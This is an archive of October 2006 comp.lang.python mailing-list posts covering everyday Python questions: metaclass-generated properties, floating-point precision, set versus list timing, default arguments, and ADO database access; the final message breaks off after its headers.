> This is a bit hackish, but I would prefer this over a metaclass
> solution. since it does not add
> any hidden magic to your class.

Why is this less hidden or magical than a metaclass ? I'd prefer the
following instead:

from itertools import chain, izip, repeat

def ByteProperties(*names, **defaulted_names):
    def byte_property(name, default):
        return property(lambda self: getattr(self, name, default),
                        lambda self,v: setattr(self, name, v%256))
    def make_class(clsname, bases, dict):
        for name,default in chain(izip(names, repeat(127)),
                                  defaulted_names.iteritems()):
            assert name not in dict # sanity check
            dict[name] = byte_property('_'+name, default)
        return type(clsname,bases,dict)
    return make_class


class RC(object):
    __metaclass__ = ByteProperties('pwm01', pwm02=64)

rc = RC()
print rc.pwm01, rc.pwm02 # 127 64
rc.pwm01 = 1312
print rc.pwm01, rc.pwm02  # 32 64


George



From fredrik at pythonware.com  Sat Oct 14 10:59:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 14 Oct 2006 16:59:40 +0200
Subject: locals() and globals()
In-Reply-To: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com>
References: <83e8215e0610140727q44c0db80i9747360061c95893@mail.gmail.com>
Message-ID: <egqu0s$4ev$1@sea.gmane.org>

Paolo Pantaleo wrote:

> why accessing the names dictionary globals() and locals() gives
> different results?

the documentation has the answer:

   "The contents of this dictionary should not be modified;
   changes may not affect the values of local variables used
   by the interpreter"

   http://pyref.infogami.com/locals

</F>



From nairarunv at gmail.com  Thu Oct 26 09:21:28 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 06:21:28 -0700
Subject: doesnt seems to work can any help be provided
Message-ID: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>

import string

class Card:

    # Not sure if I need to set these first???
    # suitList = ()
    # rankList = ()

    def __init__(self,suit,rank):
        self.suit = suit
        self.rank = rank

    def __repr__(self):
        return str(self)

    def __str__(self):
        return "%s of %s" %
(self.rankList[self.rank],self.suitList[self.suit])

    def __cmp__(self,other):
        if self.suit > other.suit:
            return 1
        if self.suit < other.suit:
            return -1
        if self.rank > other.rank:
            return 1
        if self.rank < other.rank:
            return -1
        else:
            return 0

def getCard(cards):
    # Break each card into suit and rank
    rankList , suitList = string.split(cards," ")
    return Card(rankList,suitList)

class Deck:
    def __init__(self):
        self.cards = []
        for suit in range(4):
            for rank in range(1,14):
                self.cards.append(Card(suit,rank))

def main():
    # Open the file with the cards in them
    filename = raw_input('Enter the file name for the cards >>')
    infile = open(filename,'r')

    # Set the first card in the list
    cards = getCard(infile.readline())

    # Process the extra lines
    for line in infile:
        s = getCard(line)
    infile.close()        
    a=Deck()   
    print a


main()



From grflanagan at yahoo.co.uk  Sat Oct 14 16:22:31 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 14 Oct 2006 13:22:31 -0700
Subject: ANN: ElementFilter - find and remove elements and attributes from
	ElementTree XML
Message-ID: <1160857351.325566.217430@m73g2000cwd.googlegroups.com>


An add-on for ElementTree.  Info and download here:

    http://www.gflanagan.net/site/python/utils/elementfilter/index.html

Gerard



From rpdooling at gmail.com  Fri Oct 20 02:32:57 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 19 Oct 2006 23:32:57 -0700
Subject: help with my first use of a class
In-Reply-To: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
Message-ID: <1161325977.502197.142350@m73g2000cwd.googlegroups.com>

Whoah. At least I got the connection. I think. Maybe I can figure more
on my own. Any help appreciated.

Thanks

---------

class Connection:
    def __init__(self, aDatasource):
        self.db = aDatasource
        self.conn = odbc.DriverConnect(self.db)
        self.conn.cursor()

def random_quote():
    """
    Counts all of the quotes in MS Access database Quotations2005.mdb.
    Picks one quote at random and displays it using textwrap.
    """
    c = Connection('DSN=Quotations')
    c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")



From andy2O at hotmail.com  Sun Oct 15 17:10:50 2006
From: andy2O at hotmail.com (andy2O at hotmail.com)
Date: 15 Oct 2006 14:10:50 -0700
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.524.1160884524.11739.python-list@python.org>
	<1160885586.921786.87810@i42g2000cwa.googlegroups.com>
Message-ID: <1160946650.139987.51870@h48g2000cwc.googlegroups.com>

Chris wrote:
> sin(pi*0.5) is what I expected, but I expected to get 0 for sin(pi).

Computers in general, and Python too, usually use floating point
arithmetic in which all numbers are approximated by rational numbers of
a particular form (see http://en.wikipedia.org/wiki/Floating_point for
details).

1) pi is an irrational number, so it *cannot* be represented exactly in
floating point. Therefore the value of pi in your call to the sin
function is definitely, proveably, *not* exactly equal to the true
value of pi.

2) So, even if the function "sin" could be evaluated exactly, the fact
that you are not evaluating it exactly at the true value of pi, but
instead at a good but imperfect approximation to this value, means that
the sine function *should not* give the result = 0 for your request!

3) The function sin is also evaluated to only a finite degree of
precision - just like everything else in floating point arithmetic.
Therefore you should not expect absolutely precise results. Instead,
you need to understand the limitations of floating point arithmetic,
understand the precision you *can* expect, and work within these
bounds. It's a good system, but you do need to understand its
limitations. The links other people have posted are good resources for
this.

Best wishes,
andy



From http  Mon Oct  9 18:26:33 2006
From: http (Paul Rubin)
Date: 09 Oct 2006 15:26:33 -0700
Subject: Initialization of variables using no-arg constructor
References: <mailman.143.1160431548.11739.python-list@python.org>
Message-ID: <7xbqol2kiu.fsf@ruckus.brouhaha.com>

> In order for sum() to be generic I initialize total to the value of
> list[0].__class__().  This works but I would like to know if this is
> the correct or preferred way of doing it.

More natural would be (untested):

    def sum(list):
       assert list    # both versions fail if list is empty
       total = list[0]

       # could use list[1:] but this avoids copying
       for i in xrange(1, len(list)):
          total += list[i]

or various alternate spellings with iterators, the reduce function, etc.

This pattern is common enough that Haskell has a "foldl1" function
similar to reduce but initializing from the first element of the sequence.


From gabrielg_laburando at yahoo.com.ar  Tue Oct 10 18:25:53 2006
From: gabrielg_laburando at yahoo.com.ar (Gabriel G)
Date: Tue, 10 Oct 2006 19:25:53 -0300
Subject: A problem about File path encode
In-Reply-To: <8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.co
 m>
References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com>
	<7.0.1.0.0.20061010065236.04290218@yahoo.com.ar>
	<8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061010191837.01f51540@yahoo.com.ar>

At Tuesday 10/10/2006 11:32, Kevien Lee wrote:

>I agree with the problem caue of the the escape character,but when i folllow
>these meth,it still didn't work.

Explain "didn't work". A full traceback would be useful.

>It is so strang that the code work on another computer (OS is WinXP),but throw
>error on mine.Why?plese help me

Using *exactly* the same file name? "D:\Downloads\second.xml" works 
fine too, but that's just because \d and \s are not recognised as 
escape sequences.

> >   There is a problem about File path encode ,when i want to parse
> > an xml file.
> >     xmldoc=minidom.parse("D:\Downloads\1.xml")
> >IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml'

-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From fredrik at pythonware.com  Fri Oct 20 04:04:54 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 10:04:54 +0200
Subject: invert or reverse a string... warning this is a rant
References: <mailman.760.1161275432.11739.python-list@python.org><XpOZg.15950$UG4.1118@newsread2.news.pas.earthlink.net><eh8dnq$4fm$1@sea.gmane.org>
	<038b01c6f413$1f0c65e0$03000080@hendrik>
Message-ID: <eh9vv6$14s$1@sea.gmane.org>

Hendrik van Rooyen wrote:

>> 'a man a plan a canal panama' is not a palindrome
>
> not if spaces count -

which they do if you rely on a single reverse operation (my point was
that it takes a bit more work than that to check for a palindrome).

</F> 





From maxm at mxm.dk  Mon Oct  9 05:07:34 2006
From: maxm at mxm.dk (Max M)
Date: Mon, 09 Oct 2006 11:07:34 +0200
Subject: Memory Management in python 2.5
In-Reply-To: <1160383218.694248.198570@b28g2000cwb.googlegroups.com>
References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com>
Message-ID: <452a1158$0$13933$edfadb0f@dread15.news.tele.dk>

cesar.ortiz at gmail.com skrev:
> Hi, I am starting to have a look to a python program that does not free
> memory (I am using python 2.4.3). As I have read about a new memory
> management in python 2.5 (http://evanjones.ca/python-memory.html) I
> decided to try the program with the new version.
> With the new version of python the memory consumption is the same. Now
> I am asking myself if  python 2.5 has any improving  in memory
> management or maybe not yet. Thank you.

In previous versions Python collected memory, but never released it 
again. It simply kept on to it, so it could reuse it again later.

 From 2.5 onwards it should release most of the unused memory. However 
it doesn't use less memory. The peak memory usage should be the same as 
before. So for one-off programs that starts up and runs once, there 
should not be much gain.


-- 

hilsen/regards Max M, Denmark

http://www.mxm.dk/
IT's Mad Science


From martin at v.loewis.de  Tue Oct 24 13:36:13 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 19:36:13 +0200
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
In-Reply-To: <mailman.1045.1161676688.11739.python-list@python.org>
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>	<ehioo2$fef$1@sea.gmane.org>
	<021801c6f734$cb375900$03000080@hendrik>
	<mailman.1045.1161676688.11739.python-list@python.org>
Message-ID: <453E4F0D.9050809@v.loewis.de>

Ben Finney schrieb:
>>  "Fredrik Lundh" <fredrik at pythonware.com> wrote:
>>> some days, I ask myself why I shouldn't just use GPL for
>>> everything I do, and ship it as source code only.
>> because then you would deny your work to thousands of ungrateful,
>> unmotivated lazy buggers like me...
> 
> Not necessarily. All it needs is one person (with the same platform
> you want to use) to take the source, build it for that platform, and
> make it available.

In my experience, this single person *never* exists. I.e. it's either
the original author who provides binaries, or none are provided.
People certainly build it themselves, but then never share. I don't
know why that is - probably, it takes a different mindset to be on
the giving end than on the receiving end of free software.

There are exceptions, of course: when communities are built. There
is no question that binaries are available with the Linux distributions,
and the various Sun, HP, IBM, Darwinports, etc. free software sites also
have an established contributorship. For Windows, such communities
apparently don't form, for some reason.

Regards,
Martin



From rpdooling at gmail.com  Wed Oct 11 23:02:14 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 11 Oct 2006 20:02:14 -0700
Subject: python 2.5 & sqlite3
In-Reply-To: <1160616758.718092.210130@m73g2000cwd.googlegroups.com>
References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>
	<mailman.337.1160600574.11739.python-list@python.org>
	<1160603125.964879.17480@m73g2000cwd.googlegroups.com>
	<mailman.338.1160604416.11739.python-list@python.org>
	<1160616758.718092.210130@m73g2000cwd.googlegroups.com>
Message-ID: <1160622134.835465.119850@k70g2000cwa.googlegroups.com>

>>  Looks like it could be from reading some
>>  build-Python-from-source instructions for Unix platforms ...

Yes, Sorry. I read the doc too hastily.

>> If you're compiling the Python source yourself,
>>  note that the source tree doesn't include the SQLite code,
>> only the wrapper module.

I'm playing with sqlite now, and awaiting the yet-to-be-issued 2.5
distro from ActiveState.

My apologies. Thank you, again.

rd



From hg at nospam.com  Mon Oct 16 16:49:06 2006
From: hg at nospam.com (hg)
Date: Mon, 16 Oct 2006 15:49:06 -0500
Subject: ADO with Python
In-Reply-To: <4pi94uFip1e9U1@individual.net>
References: <4pi94uFip1e9U1@individual.net>
Message-ID: <ooSYg.28168$Go3.9381@dukeread05>

Ralf wrote:
> Is their anybody with xperience in using the both and can provide me with 
> some xamples.
> 
> Thx a lot
> Ralf 
> 
> 

I suggest you buy the book from Mark Hammond

hg


ex (major cut and paste):

   #********************************************************************
    def Get_User_Info_From_DB(self, p_user_id):
        try:
            #l_query = 'Select Groups.GR_AccessDate from Groups,Members
where Members.GroupId = Groups.GR_GroupId and Members.MemberId = %s;' %
p_user_id
            l_query = 'SELECT
Firstname,Lastname,GR_ExpirationDate,GR_AccessDate,GR_CurrentBal,MemberType,MemberDues
FROM MemberTypes,Members,Groups Where (Groups.GR_GroupId =
Members.GroupId) and (MemberTypes.MemberTypeID =
Groups.GR_MembershipType) and (MemberId = %s);' % p_user_id
            l_conn = win32com.client.Dispatch(r'ADODB.Connection')
            l_DSN = 'PROVIDER=Microsoft.Jet.OLEDB.4.0;DATA
SOURCE='+self.__m_database + ';'
            l_conn.Open(l_DSN)
            l_recordset = win32com.client.Dispatch(r'ADODB.Recordset')
            l_recordset.Open(l_query, l_conn, 1, 3)
            l_found_date = False
            try:
                l_recordset.MoveFirst()
                l_exp_date =
l_recordset.Fields.Item('GR_ExpirationDate').Value
                l_access_date =
l_recordset.Fields.Item('GR_AccessDate').Value

                l_last_name = l_recordset.Fields.Item('Lastname').Value
                l_first_name = l_recordset.Fields.Item('Firstname').Value
                l_membership_type =
l_recordset.Fields.Item('MemberType').Value
                #print 'HERE ', l_recordset.Fields.Item('MemberType').Value
                l_val = l_recordset.Fields.Item('MemberDues').Value

                l_dues_amount =  '%.02f' % (float(l_val[1])/10000.0)


                if None == l_access_date:
                    self.__m_log.Log(  ('DATE IS NOT AVAILABLE FOR USER
ID %s' % p_user_id) )
                else:
                    l_found_date = True
                    self.__m_log.Log(  ('FOUND NEW DATE IN DATABASE FOR
USER ID %s: %s' % (p_user_id, l_access_date)) )
            except:
                self.__m_log.Log(  ( 'GET DATE QUERY FAILED ON USER ID
%s' % p_user_id)  )
                self.__m_log.Log(traceback.format_exc())
            l_conn.Close()

            if False == l_found_date:
                return None

            #print 'IN GET: ACCESS ', l_access_date.Format()
            #print 'IN GET: EXP', l_exp_date.Format()
            return ( l_exp_date.Format(),l_access_date.Format(),
l_last_name, l_first_name, l_membership_type, l_dues_amount)
        except:
            self.__m_log.Log(traceback.format_exc())
            try:
                l_conn.Close()
            except:
                self.__m_log.Log('Could not close database connection on
retrieval')
                self.__m_log.Log(traceback.format_exc())
                pass
            self.__m_log.Log( ('Fatal error retrieving date from
database for user id %s ' % p_user_id))
            return None


From nairarunv at gmail.com  Thu Oct 26 05:48:41 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 02:48:41 -0700
Subject: Cards deck problem
In-Reply-To: <7xbqnz4dqu.fsf@ruckus.brouhaha.com>
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
	<7xbqnz4dqu.fsf@ruckus.brouhaha.com>
Message-ID: <1161856121.066956.227720@k70g2000cwa.googlegroups.com>

Hey paul i dont know how to implement this stuff if you have any ebook
or any notes which can halp me then i would like to try it and
implement my and refer back to you for any errors comming out of it

Regards,

Arun

On Oct 26, 7:39 pm, Paul Rubin <http://phr... at NOSPAM.invalid> wrote:
> "Arun Nair" <nairar... at gmail.com> writes:
> > Your urgent and quick reply help will be appreciated the most.Do you have a specific question?  What are you having trouble with?



From onurb at xiludom.gro  Wed Oct 11 04:40:50 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 10:40:50 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
Message-ID: <452cae13$0$24783$426a74cc@news.free.fr>

Raj wrote:
> Hi,
> 
> We just executed a project with Python using TG. The feedback was to
> use more python like programming rather than C style code executed in
> Python. The feedback is from a Python purist and for some reasons we
> cannot solicity his help.
> 
> So we'd like to do is to scrub through the codebase and identify places
> where the codebase needs improvement, both from styling as well as
> design. Is there any website that can provide me with advanced tips
> rather than just tutorials coz thats not of much help.

Googling for "python is not java" may be a good start. Also, here are 2
common C-style smells:

1/ using explicit indexing instead of iteration:

C-smell :
for i in range(len(seq)):
  do_something_with(seq[i])

Pythonic:
for item in seq:

 do_something_with(item)
# or if you need the index too:
for i, item in enumerate(seq):
  do_something_with(i, item)

2/ functions that returns a status code and modify their arguments. The
pythonic way is to have the function return multiple args and raise an
exception if something went wrong


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From leonhard.vogt at gmx.ch  Mon Oct  9 03:42:45 2006
From: leonhard.vogt at gmx.ch (leonhard.vogt at gmx.ch)
Date: 9 Oct 2006 00:42:45 -0700
Subject: unexpected behaviour of lambda expression
Message-ID: <1160379765.723206.33640@i3g2000cwc.googlegroups.com>

Please consider that example:
Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> s = 'foo'
>>> f = lambda x: s
>>> f(None)
'foo'
>>> s = 'bar'
>>> f(None)
'bar'
>>> del(s)
>>> f(None)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 1, in <lambda>
NameError: global name 's' is not defined

It seems to me, that f is referencing the name s instead of the string
object bound to it
i would expect the analogous behaviour to the following example:
Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> s = 'foo'
>>> f = s
>>> f
'foo'
>>> s = 'bar'
>>> f
'foo'

I could work around this but I am interested why there is that
difference.
Leonhard



From martin at v.loewis.de  Mon Oct 23 18:54:25 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 00:54:25 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.999.1161629807.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>	<45386B4C.4020001@v.loewis.de>
	<mailman.999.1161629807.11739.python-list@python.org>
Message-ID: <453d4821$0$22566$9b622d9e@news.freenet.de>

Christopher Taylor schrieb:
> I had /usr/lib64/python2.3 included and that's why it was breaking.  I
> took it out and it works fine now.  Unfortunately, it still puts the
> lib files in /usr/lib instead of /usr/lib64.  I'm assuming all I need
> to do is set libdir accordingly and the files will get put in
> /usr/lib64.  How do I then build the library files for 32bits?

Can you explain what "then" is? If you set libdir so that all files go
into /usr/lib64, why do want *then* that those library files are built
for 32bits? Shouldn't they be built for 64bits if they go to /usr/lib64?

In any case, you usually select the target architecture by either
selecting the right compiler, or the right compiler flags. Just set
CC to a 32-bit-compiler, and Python should be built as 32-bit binaries.

Regards,
Martin


From j_nwb at yahoo.com  Tue Oct 24 16:42:57 2006
From: j_nwb at yahoo.com (j_nwb)
Date: Tue, 24 Oct 2006 13:42:57 -0700
Subject: default python when multiple python installation on the box
In-Reply-To: <453e6b0c$0$25200$9b622d9e@news.freenet.de>
References: <de6dnXce1bnBwqPYnZ2dnUVZ_rmdnZ2d@comcast.com>
	<453e6b0c$0$25200$9b622d9e@news.freenet.de>
Message-ID: <I5KdnXTS0p-V56PYnZ2dnUVZ_rSdnZ2d@comcast.com>

Does not help my immediate situation, but this understanding definitely
helps.
Thanks

/J

Martin v. L?wis wrote:
> j_nwb schrieb:
>>    I have multiple python installations. 2.2, 2.3, 2.4. When I install a
>> new package (pygtk2) , it always install in python 2.3.
>>    I changed the /usr/bin/python to be 2.4 binary. Still the same behavior.
>>    How does rpms, determine which installation to update ? Is there a
>> file somewhere ?
>>  I am running in to this on Fedora as well as CenOS.
> 
> Not sure what you mean by package: RPM package or distutils package?
> If RPM package: binary package or source package?
> 
> Binary RPM packages have the Python version compiled into their
> extension modules, and you can't change that without recompilation.
> In addition, they have the directory and file names hard-coded in
> the RPM archive.
> 
> Source RPM packages have the Python version coded into their spec
> file. You should read the spec file to find out what Python version
> it uses.
> 
> Distutils packages use the Python version you use to run setup.py,
> so you should be able to install either with "python2.4 setup.py",
> or get a different Python selected by changing /usr/bin/python.
> Since you specifically asked about RPMs, I guess distutils packages
> are of no interest to you, though.
> 
> Regards,
> Martin


From p.lavarre at ieee.org  Wed Oct 25 14:51:14 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 25 Oct 2006 11:51:14 -0700
Subject: call Mac gcc -framework from CTypes how
References: <1161218951.763867.148520@i3g2000cwc.googlegroups.com>
Message-ID: <1161802274.067960.326920@m73g2000cwd.googlegroups.com>

> can I somehow call the IONotificationPortCreate in the
> Framework that Apple built instead,

$ cd /System/Library/Frameworks/
$ cd IOKit.framework/Versions/Current/
$ file IOKit
... Mach-O dynamically linked shared library ...
$ nm -m IOKit | grep IONotificationPortCreate
... (__TEXT,__text) external _IONotificationPortCreate
$

Looks like it will work.  Not named .dylib or .so, but correct `file`
type and relevant `nm -m` symbols.

Thanks all for help offline, especially Nlzero.com,



From ptmcg at austin.rr._bogus_.com  Wed Oct  4 12:28:18 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 16:28:18 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
Message-ID: <CiRUg.25432$DU3.7189@tornado.texas.rr.com>

"David Isaac" <aisaac0 at verizon.net> wrote in message 
news:QWQUg.15396$3T2.2982 at trnddc06...
> Is it expected for access to set elements to be much
> slower than access to list elements?  Explanation?
> Thanks,
> Alan Isaac
>
>>>> t1=timeit.Timer("for i in set(xrange(10000)):pass","")
>>>> t2=timeit.Timer("for i in list(xrange(10000)):pass","")
>>>> t1.timeit(1000)
> 9.806250235714316
>>>> t2.timeit(1000)
> 3.9823075279120701
>
>
A couple of points:
1. Your use of timeit is a bit flawed.  You are not only timing the access 
into the set or list, but also the construction of the set/list, *every 
time*.  Use the second string arg (the one you are passing as "") for 
one-time initialization, so that you measure only access, which is what you 
say your are interested in.
2. Ooops, it turns out you're not really *accessing* the set/list, you are 
*iterating* over it.  Given that sets are implemented internally using a 
tree structure, I would expect that iterating over a list could be faster, 
although only marginally so.
3. Here are some stats for a little more correct timeits:

Construct list/set
set  -> 1.89524618352
list -> 0.299499796762

Iterate over list/set
set  -> 0.646887523414
list -> 0.552001162159

Random access to first item in list/set
set  -> 0.000189409547861
list -> 0.000160076210804

Random access to item in list/set when item exists
set  -> 0.000241650824337
list -> 0.0245168031132

Random access to item in list/set when item does not exist
set  -> 0.000187733357172
list -> 0.522086186932


The code:
import timeit

print "\nConstruct list/set"
t1=timeit.Timer("z = set(xrange(10000))","")
t2=timeit.Timer("z = list(xrange(10000))","")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

print "\nIterate over list/set"
t1=timeit.Timer("for i in z: pass","z = set(xrange(10000))")
t2=timeit.Timer("for i in z: pass", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

print "\nRandom access to first item in list/set"
t1=timeit.Timer("0 in z","z = set(xrange(10000))")
t2=timeit.Timer("0 in z", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

print "\nRandom access to item in list/set when item exists"
t1=timeit.Timer("500 in z","z = set(xrange(10000))")
t2=timeit.Timer("500 in z", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

print "\nRandom access to item in list/set when item does not exist"
t1=timeit.Timer("10500 in z","z = set(xrange(10000))")
t2=timeit.Timer("10500 in z", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)


-- Paul




From bearophileHUGS at lycos.com  Thu Oct  5 17:53:05 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 5 Oct 2006 14:53:05 -0700
Subject: Graph Theory
In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com>
References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com>
	<1160079341.752297.139110@h48g2000cwc.googlegroups.com>
	<1160079922.925712.55850@i42g2000cwa.googlegroups.com>
Message-ID: <1160085185.339372.239100@i42g2000cwa.googlegroups.com>

diffuser78 at gmail.com:
>I was wondering if you can generate random graph and analyze some
> peroperties of it like clustering coefficient or graph density.

There are many kinds of random graphs, in that Graph lib I have added
few random generators, but you can add many more yourself, it's easy
(Then if you want you can send them back to be added to that lib, if
they are nice). Note that if you want to manage a LOT of nodes/arcs you
can use Boost Graph with Python.


> I am a graph theory student and want to use python for development.

It can be useful for small and medium sized graphs.


> Somebody told me that Python has already so much bultin.

Right.


> Are there any visualization tool which would depict the random graph
> generated by the libraries.

Graph exports in two common formats, like Dot and another. NetworkX
probably exports in Dot too. Look for Graphviz. And there is another
famous sofeware for huge graphs too.

Bye,
bearophile



From http  Tue Oct  3 07:15:35 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 04:15:35 -0700
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
Message-ID: <7x8xjxhcq0.fsf@ruckus.brouhaha.com>

Chaz Ginger <cginboston at hotmail.com> writes:
> I have a system that has a few lists that are very large (thousands or
> tens of thousands of entries) and some that are rather small. Many times
> I have to produce the difference between a large list and a small one,
> without destroying the integrity of either list. I was wondering if
> anyone has any recommendations on how to do this and keep performance
> high? Is there a better way than
> 
> [ i for i in bigList if i not in smallList ]

diff = list(set(bigList) - set(smallList))

Note that doesn't get you the elements in any particular order.


From apardon at forel.vub.ac.be  Fri Oct  6 06:19:20 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 6 Oct 2006 10:19:20 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1431.1160125174.10491.python-list@python.org>
	<slrneic807.55m.apardon@rcpc42.vub.ac.be>
	<mailman.1439.1160128583.10491.python-list@python.org>
Message-ID: <slrneicbd7.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-06, hanumizzle <hanumizzle at gmail.com> wrote:
> On 6 Oct 2006 09:21:11 GMT, Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>> On 2006-10-06, Fredrik Lundh <fredrik at pythonware.com> wrote:
>> > Antoon Pardon wrote:
>> >
>> >> Is this general rules documeted somewhere? My impression is that readers
>> >> of the documentation will treat arguments as keyword arguments unless
>> >> this is explicitly contradicted.
>> >
>> > Sorry, I missed that this was comp.lang.python.alternate.reality.  My
>> > mistake.
>> >
>>
>> A personal attack won't make my argument go away. It also doesn't
>> answer my question.
>
> Not sure exactly what is going on / being argued about in this thread but HTH :?
>
> http://docs.python.org/tut/node6.html
>
> This doesn't say anything positive or negative about the practice in
> question, but does point out that it is possible. I think it is a
> reasonable assumption that if it isn't necessary, most users will
> elide the keywords.

What I am argueing is that it is very natural for python programmers to
assume that keyword arguments will work if they see a signature. IMO
if a python programmer sees something like:

  abs(x)

It is very natural to envision a corresponding def statement like:

  def abs(x):

and a python function written like this will work if called as
follows:

  abs(x=5)

IMO this is a very natural thought process for a python programmer.
So a python programmer seeing the first will tend to expect that
last call to work.

Now frederic claims that the general rule is different. Now I'm
perfectly happy to accept that those who write the documentation
do so based aacording to the rule frederic stated (you can't/shouldn't
use a parameter as a keyword argument unless explictly stated in the
documentation), but that doesn't contradict that readers may have
different expectations.

-- 
Antoon Pardon


From fredrik at pythonware.com  Fri Oct  6 04:54:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 10:54:52 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneic180.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneic180.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <eg55kr$no3$1@sea.gmane.org>

Antoon Pardon wrote:

> Is this general rules documeted somewhere? My impression is that readers
> of the documentation will treat arguments as keyword arguments unless
> this is explicitly contradicted.

Sorry, I missed that this was comp.lang.python.alternate.reality.  My 
mistake.

</F>



From metaperl at gmail.com  Tue Oct 24 09:43:18 2006
From: metaperl at gmail.com (metaperl)
Date: 24 Oct 2006 06:43:18 -0700
Subject: HTML Templates (Sitemesh/Tiles concept) in Python
In-Reply-To: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com>
Message-ID: <1161697398.573460.251730@b28g2000cwb.googlegroups.com>


Suren wrote:


> It seems error prone as well as bad design to scatter this logic in
> each content page. Is there a template logic like Sitemesh or Tiles
> concept that can decorate a desired page just before show time?
>

Suren, you are looking for push-style templating. I list a number of
alternatives here:
http://www.livingcosmos.org/Members/sundevil/software-engineering/push-style-templating-systems/view

I use meld3 personally, but Templess looks pretty good and Webstring
also. Depends on your tastes.



From vinay_sajip at yahoo.co.uk  Fri Oct 20 09:58:52 2006
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: 20 Oct 2006 06:58:52 -0700
Subject: Logging with Logger hierarchies
References: <1161346350.030708.319880@i3g2000cwc.googlegroups.com>
